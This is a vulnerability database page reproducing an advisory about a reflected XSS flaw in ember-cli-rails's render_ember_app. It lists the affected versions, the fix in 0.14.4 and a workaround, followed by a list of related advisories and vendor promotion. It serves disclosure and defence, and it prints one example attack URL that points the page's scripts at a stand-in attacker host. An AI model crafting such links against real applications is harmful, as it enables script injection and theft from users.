Vulnerability DatabaseGHSA-whxv-9q4m-932c

GHSA-whxv-9q4m-932c: 
Ruby vulnerability analysis and mitigation

Impact

render_ember_app rewrites the root-relative asset URLs (src and href) of a Vite-based Ember application's index.html onto the application's mount point. It read that mount point from params[:ember_mount_point]. Routes drawn by mount_ember_app set ember_mount_point as a route default, which a request cannot override. On any other route, params falls through to the query string and the request body, so a request could choose the value:

https://example.com/?ember_mount_point=//attacker.example

The response then loads every script and stylesheet of the page from //attacker.example/…, and a value containing a quote breaks out of the attribute and injects markup. Either way an attacker who gets a victim to follow a crafted link runs JavaScript in the application's origin (reflected XSS), on a page that typically also carries the Rails CSRF token. An application is affected when all of the following hold:

  • it uses ember-cli-rails 0.13.2 or later, which introduced the rewriting;
  • its Ember application is Vite-based (ember-cli >= 6.8), and is served from its build output rather than from Vite's development server (the default outside of development);
  • it calls render_ember_app from a view rendered by a route that mount_ember_app did not draw, as the README describes under "Overriding the view". Applications that only render the Ember application through mount_ember_app (including with the controller and action options) are not affected. Classic (non-Vite) Ember applications are not affected.

Patches

Fixed in 0.14.4: the mount point is read from request.path_parameters, which holds only what the matched route supplies.

Workarounds

Render the page from a route drawn by mount_ember_app, which accepts controller: and action: options:

mount_ember_app :frontend, to: "/", controller: "application", action: "index"

Source: NVD

Related Ruby vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-4859-2mvh-r787HIGH7.1
  • Ruby logoRuby
  • phlex
NoYesNov 23, 2026
GHSA-6gjg-cqh9-p2xmMEDIUM5.9
  • Ruby logoRuby
  • phlex
NoYesNov 23, 2026
GHSA-jjpx-qcfc-pqwpMEDIUM5.9
  • Ruby logoRuby
  • phlex
NoYesNov 23, 2026
GHSA-fxxw-9rf3-3f2wMEDIUM5.9
  • Ruby logoRuby
  • phlex
NoYesNov 23, 2026
GHSA-wcp8-qw9q-vjppMEDIUM4.9
  • Ruby logoRuby
  • doorkeeper-openid_connect
NoYesNov 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management